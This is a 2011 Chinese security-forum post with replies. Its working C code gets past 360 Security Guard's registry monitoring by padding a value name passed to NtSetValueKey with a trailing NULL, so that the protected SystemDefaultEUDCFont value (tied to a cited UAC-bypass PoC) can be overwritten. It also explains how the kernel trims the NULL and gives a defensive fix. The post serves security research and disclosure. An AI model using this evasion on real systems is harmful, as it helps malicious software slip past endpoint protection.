首页
社区
课程
招聘
[原创]利用一个NULL绕过360注册表监控
发表于: 2011-4-1 11:47 21460

[原创]利用一个NULL绕过360注册表监控

2011-4-1 11:47
21460

一.测试环境
本次测试所采用的操作系统为中文版Windows XP SP3(使用360安全卫士更新了所有补丁),360安全卫士 7.8.0.1001(备用木马库2011-04-01),360杀毒软件2.0.0.1330(病毒库日期2011-04-01 03:49),计算机处于联网状态,360安全卫士、360杀毒都“已成功连接至360云安全中心”。建立了一个名为admin的管理员用户。

【注意!】本次测试都在管理员下进行。

二.测试

1.测试1

#include <windows.h>

void main()
{
  BYTE  RegBuf[0x28] = {0};
  HKEY  hKey;

  if ( RegOpenKey(HKEY_CURRENT_USER,L"EUDC\\936",&hKey) == ERROR_SUCCESS )
  {
    RegSetValueEx(hKey, L"SystemDefaultEUDCFont", 0, REG_BINARY, RegBuf, 0x28);
    RegCloseKey(hKey);
  }
}

编译后运行,360木马防火墙提示风险“发现程序正在修改系统关键设置”,默认选择为“阻止本次操作”,点确定后HKEY_CURRENT_USER\EUDC\936下SystemDefaultEUDCFont的数据以及类型没有被修改。

2.测试2
考虑到RegSetValueEx是位于Advapi32.dll里面的一个函数,不够底层,在RegSetValueEx的执行过程中可能会存在干扰,于是调用ntdll.dll里面的NtSetValueKey。

#include <windows.h>

typedef struct _UNICODE_STRING {
        USHORT        Length;
        USHORT        MaximumLength;
        WCHAR        *Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef NTSTATUS ( __stdcall *NtSetValueKey_ ) (
        IN HANDLE                        KeyHandle,
        IN PUNICODE_STRING        ValueName,
        IN ULONG                        TitleIndex,
        IN ULONG                        Type,
        IN PVOID                        Data,
        IN ULONG                        DataSize
        );
NtSetValueKey_ NtSetValueKey = NULL;

int main()
{
        BYTE        RegBuf[0x28] = {0};
        HKEY        hKey;

        if ( RegOpenKey(HKEY_CURRENT_USER,L"EUDC\\936",&hKey) != ERROR_SUCCESS )
                return FALSE;

        NtSetValueKey                =        (NtSetValueKey_)GetProcAddress(GetModuleHandle(L"ntdll.dll"),"NtSetValueKey");
        if ( NtSetValueKey == NULL )
                return FALSE;
       
        WCHAR        lpszName[22]                =        L"SystemDefaultEUDCFont";//21个字符

        UNICODE_STRING                ValueName;
        ValueName.Buffer                        =        lpszName;
        ValueName.Length                        =        21 * 2;
        ValueName.MaximumLength                =        21 * 2;

        NtSetValueKey( (HANDLE)hKey, &ValueName, NULL,REG_BINARY, (BYTE *)RegBuf, 0x28 );

        RegCloseKey(hKey);
}

编译后运行,360木马防火墙仍然提示风险“发现程序正在修改系统关键设置”,默认选择为“阻止本次操作”,点确定后HKEY_CURRENT_USER\EUDC\936下SystemDefaultEUDCFont的数据以及类型没有被修改。

【思考】
对于UNICODE_STRING结构体,Length表明了字符串的长度,Buffer指向的字符串不再以NULL表示字符串的结束。回忆很久以前刚开始学习C语言时,书、老师都在强调:字符串末尾是NULL,碰到NULL就说明字符串结束了。于是灵光一闪,如果在UNICODE_STRING里面加个NULL会怎样?

3.测试3
#include <windows.h>

typedef struct _UNICODE_STRING {
        USHORT        Length;
        USHORT        MaximumLength;
        WCHAR        *Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef NTSTATUS ( __stdcall *NtSetValueKey_ ) (
        IN HANDLE                        KeyHandle,
        IN PUNICODE_STRING        ValueName,
        IN ULONG                        TitleIndex,
        IN ULONG                        Type,
        IN PVOID                        Data,
        IN ULONG                        DataSize
        );
NtSetValueKey_ NtSetValueKey = NULL;

int main()
{
        BYTE        RegBuf[0x28] = {0};
        HKEY        hKey;

        if ( RegOpenKey(HKEY_CURRENT_USER,L"EUDC\\936",&hKey) != ERROR_SUCCESS )
                return FALSE;

        NtSetValueKey                =        (NtSetValueKey_)GetProcAddress(GetModuleHandle(L"ntdll.dll"),"NtSetValueKey");
        if ( NtSetValueKey == NULL )
                return FALSE;
       
        WCHAR        lpszName[22]                =        L"SystemDefaultEUDCFont";//21个字符

        UNICODE_STRING                ValueName;
        ValueName.Buffer                        =        lpszName;
        ValueName.Length                        =        21 * 2 + 2;//长度+2,指明多了一个NULL,这是关键之处!
        ValueName.MaximumLength                =        21 * 2 + 2;//长度+2,指明多了一个NULL

        NtSetValueKey( (HANDLE)hKey, &ValueName, NULL,REG_BINARY, (BYTE *)RegBuf, 0x28 );

        RegCloseKey(hKey);
}
上面代码的关键之处在于ValueName.Length要+2,使得UNICODE_STRING中包含一个NULL。编译后运行,360无任何提示。运行regedit.exe,可以看到HKEY_CURRENT_USER\EUDC\936下面的SystemDefaultEUDCFont数值类型为REG_BINARY,数值数据是一连串的0。

4.nt!NtSetValueKey是怎么处理的?
以ntkrnlpa.exe(5.1.2600.6055)为例,在0x8061A410处开始处理UNICODE_STRING.Buffer所指向的字符串末尾的NULL,有一个NULL就将Length减2,两个就减4,碰到第一个不是NULL的字符为止。这样在传递到nt!CmSetValueKey时,UNICODE_STRING最后面就不包括NULL了,SystemDefaultEUDCFont+NULL变成了SystemDefaultEUDCFont

5.防御建议
对比要保护的数值名称时,请无视Buffer末尾的NULL!

三、参考资料
HKEY_CURRENT_USER\EUDC\936:
Nooby的POC:http://www.debugman.com/discussion/5767/
英文文档http://www.security.nl/files/Bypass_UAC.pdf

UNICODE_STRING:《天书夜读:从汇编语言到Windows内核编程》P40

nt!NtSetValueKey:IDA反汇编分析或WRK


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 7
支持
分享
最新回复 (28)
雪    币: 4560
活跃值: (1002)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
不错不错,收藏之
2011-4-1 11:59
0
雪    币: 364
活跃值: (91)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
妙!精彩的文章
2011-4-1 12:04
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
或者不用到是更简单些
2011-4-1 12:08
0
雪    币: 278
活跃值: (709)
能力值: ( LV15,RANK:520 )
在线值:
发帖
回帖
粉丝
5
鄙视楼主抄袭我的代码和文章
2011-4-1 12:20
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
6
不知抄了LS哪篇?给个URL吧
2011-4-1 12:26
0
雪    币: 278
活跃值: (709)
能力值: ( LV15,RANK:520 )
在线值:
发帖
回帖
粉丝
7
没事,专找你们这些高调歌的茬
2011-4-1 12:51
0
雪    币: 255
活跃值: (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
mark z...
2011-4-1 16:53
0
雪    币: 228
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
膜拜了,收藏一下
2011-4-1 17:30
0
雪    币: 308
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
10
debugman上面的应该是原作者的吧。。。
2011-4-1 18:03
0
雪    币: 233
活跃值: (285)
能力值: ( LV12,RANK:270 )
在线值:
发帖
回帖
粉丝
11
LZ的文章都是pediy和debugman同步发行的~~
2011-4-1 18:10
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
膜拜了,收藏一下
2011-4-1 21:02
0
雪    币: 220
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
呵呵 值得关注一下
2011-4-1 21:22
0
雪    币: 611
活跃值: (251)
能力值: ( LV12,RANK:390 )
在线值:
发帖
回帖
粉丝
14
写的很好。。
2011-4-1 21:35
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
15
从LZ的ID和头像可以判断得出:LZ一稿多投了。
2011-4-1 21:40
0
雪    币: 400
活跃值: (1304)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
16
http://technet.microsoft.com/en-us/sysinternals/dd581628
2011-4-2 12:58
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
17
咳,亏我还在瞎猫碰上死耗子沾沾自喜,原来早就有了。。
2011-4-2 18:33
0
雪    币: 156
活跃值: (190)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
18
感觉你的思路不错,但是为什么我自己测试时,第一种方案,360都没有阻拦呢?

【系统】:Microsoft Windows XP Professional 版本 2002 Service Pack 3
【360杀毒】:程序版本2.0.0.1331 病毒库日期2011-04-02
【360安全卫士】:主程序版本7.8.0.1001 备用木马库2011-04-02

[
#include <Windows.h>
#include <TCHAR.H>

void main()
{
	BYTE RegBuf[0x28]={0};
	HKEY hKey;

	if(RegOpenKey(HKEY_CURRENT_USER,_T("EUDC\\936"),&hKey) == ERROR_SUCCESS)
	{
		RegSetValueEx(hKey,_T("SetDefaultEUDCFont"),0,REG_BINARY,RegBuf,0x28);
		RegCloseKey(hKey);
	}
}


希望大家也测试一下,看看是否跟我测试的一样,如果不同,请在下面留言,大家深入研究一下....
上传的附件:
2011-4-3 00:38
0
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
过来学习一下,感谢 分享!
2011-4-3 07:43
0
雪    币: 442
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
不错
2011-4-3 12:08
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
21
因为你是设置“SetDefaultEUDCFont”,而不是“SystemDefaultEUDCFont”,所以360不拦。

在HKEY_CURRENT_USER\EUDC\936下无论新建、修改什么值,只要名称不是“SystemDefaultEUDCFont”的话都不会拦。

另外在测试的时候,需要保持联网状态。断网的话无论做什么360都不管,这很让人不解。
2011-4-3 20:57
0
雪    币: 183
活跃值: (1218)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
22
LZ 哪个时候上360啊

天天帮找洞
2011-4-4 09:33
0
雪    币: 349
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
那是因为断网了就没有连接到他们的云安全服务器....
2011-4-7 15:36
0
雪    币: 346
活跃值: (129)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
24
呵 楼主公布后 这个方法相信也用不了多久了
2011-6-12 19:36
0
雪    币: 384
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
LZ其实不应该发出来,这样不和谐
2011-6-13 08:13
0
游客
登录 | 注册 方可回帖
返回
//